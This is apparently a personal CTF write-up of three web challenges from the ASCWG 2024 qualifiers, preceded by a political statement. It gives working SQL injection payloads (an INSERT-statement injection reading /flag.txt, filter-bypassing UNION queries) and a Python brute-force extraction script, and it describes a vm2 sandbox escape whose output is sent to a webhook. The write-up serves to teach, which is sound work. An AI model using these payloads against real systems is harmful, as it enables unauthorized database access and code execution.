ASCWG CTF Qualifications 2024 (Web Exploitation)
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ
We Stand with Palestine and don’t recognize a country called Israel.
Hi everyone, I’m a web penetration tester, and I occasionally participate in CTFs. Recently, I took part in the ASCWG CTF Qualifications 2024 and i have solved 3 web challenges, let me now explain the scenarios.
Unmasked
The most web challenge I solved involved a (Login — Registration) functionality. After creating an account and logging in, I found a file upload feature. I thought it might be vulnerable to unrestricted file upload. However, after uploading a PHP shell, I didn’t know which directory the shell was uploaded to, and there wasn’t a solution provided.
I intercepted the request of the registration function and injected a single quote after the username, which returned a SQL error. This indicated that the function should be vulnerable to SQL injection. How can I exploit this vulnerability to get the flag?
The error returned this query when I registered an account with the password hash.
INSERT INTO users(username, email, password) VALUES ('user', 'email', 'SHA1_Password')
When I logged into my account, I noticed that the email is reflected under the file upload function. Therefore, I should inject SQL queries into the username field to retrieve information instead of the email after logging in.
I created a password with the SHA1 hash 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
, balanced the query, and retrieved the database version instead of the email. I commented out everything after the password
I retrieved the database name, and the result was wargames
.
I used the following SQL injection payload to achieve this:
user_1',database(),'5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8');#
Here are the credentials I used:
- Username: user_1
- Password: password
So, the full query would be:
I retrieved the version of the database as following
user_2',version(),'5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8');#
Here, the credentials are:
- Username:
user_2
- Password:
password
So, the query will be as follows:
INSERT INTO users(username, email, password) VALUES ('user_2',version(),'5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8');#', 'test@test.com', 'password')
To get the flag, you should read the file /flag.txt
.
I used the following SQL injection payload to achieve this:
user_3', LOAD_FILE('/flag.txt'), '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8');#
Here are the credentials I used:
- Username:
user_3
- Password:
password
So, the full query would be:
Secure Calc
I downloaded the challenge source code and started to analyze it. I noticed that this app had been written in Node.js.
index.js
const express = require("express");
const {VM} = require("vm2");
const app = express();
const vm = new VM();
app.use(express.json());
app.get('/', function (req, res) {
return res.send("Hello, just index : )");
});
app.post('/calc',async function (req, res) {
let { eqn } = req.body;
if (!eqn) {
return res.status(400).json({ 'Error': 'Please provide the equation' });
}
else if (eqn.match(/[a-zA-Z]/)) {
return res.status(400).json({ 'Error': 'Invalid Format' });
}
try {
result = await vm.run(eqn);
res.send(200,result);
} catch (e) {
console.log(e);
return res.status(400).json({ 'Error': 'Syntax error, please check your equation' });
}
});
app.listen(3000,'0.0.0.0',function(){
console.log("Started !")
});
When i access /
it returned this output
Now I can create a POST request to /calc
with the eqn
parameter in JSON format.
There was a vm2
package that executed the equations, but there was a regex filter that blocked any capital or lowercase letters [a-zA-Z]
. Adding any string resulted in an Invalid Format
error.
So now I searched for any CVEs and checked the versions of the used packages.
package.json
{
"name": "secure_calc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.19.2",
"pm2": "^5.4.0",
"vm2": "^3.9.19"
}
}
I searched for information on VM2 version 3.9.19 and found that it was vulnerable to sandbox escape. The Promise handler sanitization can be bypassed with the @@species
accessor property, allowing attackers to escape the sandbox and execute arbitrary code.
Sandbox Escape in vm2@3.9.19 via `Promise[@@species]` (github.com)
I used this exploit and ran the id
command. Since it was a blind exploit, I used Beeceptor or a webhook to receive the output, which was as follows:
raw.githubusercontent.com/Anas0x1/secure_calc/main/exploit_1.js
and encoded it using JSFuck to bypass the regex, as follows:
I read the flag using this payload, which was also encoded with JSFuck.
raw.githubusercontent.com/Anas0x1/secure_calc/main/exploit_2.js
Real
This challenge only has a login page and might be vulnerable to SQL injection. When I intercepted the request using Burp Suite, I found two POST parameters: username
and password
. When I injected a single quote into the username
field, I received an error.
I injected this payload
' or 1=1 --
I received ‘Welcome’. There was a filtration process that blocked certain words and characters, such as ()
. The flag is the database username, so I need to retrieve the current username. However, I can't use the user()
function.
Now I want to determine the number of columns, so I used this query to inject:
' ORDER BY 1 -- -> User Not Found
' ORDER BY 2 -- -> User Not Found
' ORDER BY 3 -- -> Error
So, I have determined there are two columns in the table. Now it’s time to use the UNION
operator.
' UNION SELECT NULL,NULL -- -> Welcome
I used CURRENT_USER
to bypass user()
, and I used SIMILAR TO
instead of LIKE
to retrieve the username characters, as follows:
' UNION SELECT CURRENT_USER,NULL WHERE USER SIMILAR TO 'AS%' -- -> Welcome
I know the first two characters of the flag are AS
, and the flag is related to ASCWG{}
. So, I wrote a Python script to retrieve all the characters of the flag. If the response was 'Welcome', then the character was correct.
import requests
import string
import time
# Setup
base_url = "https://real.ascwg-challs.app"
known_prefix = "ASCWG{"
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits + "{}_"
headers = {
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': base_url,
'Referer': base_url,
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
}
# Brute-force process
while True:
for char in string.ascii_uppercase + string.digits + "{}_":
# Construct payload
current_attempt = known_prefix + char
payload = f"username' UNION SELECT current_user,NULL WHERE USER SIMILAR TO '{current_attempt}%'--"
# Prepare data for POST request
data = {
'username': payload,
'password': 'pass'
}
# Send POST request
try:
response = requests.post(f"{base_url}/login", data=data, headers=headers, timeout=5)
response.raise_for_status() # Check for HTTP errors
if "Welcome" in response.text:
known_prefix = current_attempt
print(f"Found partial username: {known_prefix}")
break
except requests.RequestException as e:
print(f"Request failed: {e}")
time.sleep(1) # Delay between requests
else:
# Exit loop if username is complete
print(f"{known_prefix}")
break
print(f"The Flag is: {known_prefix}")
And it retrieved the flag: ASCWG{YEAH_YOU_DID_IT}
.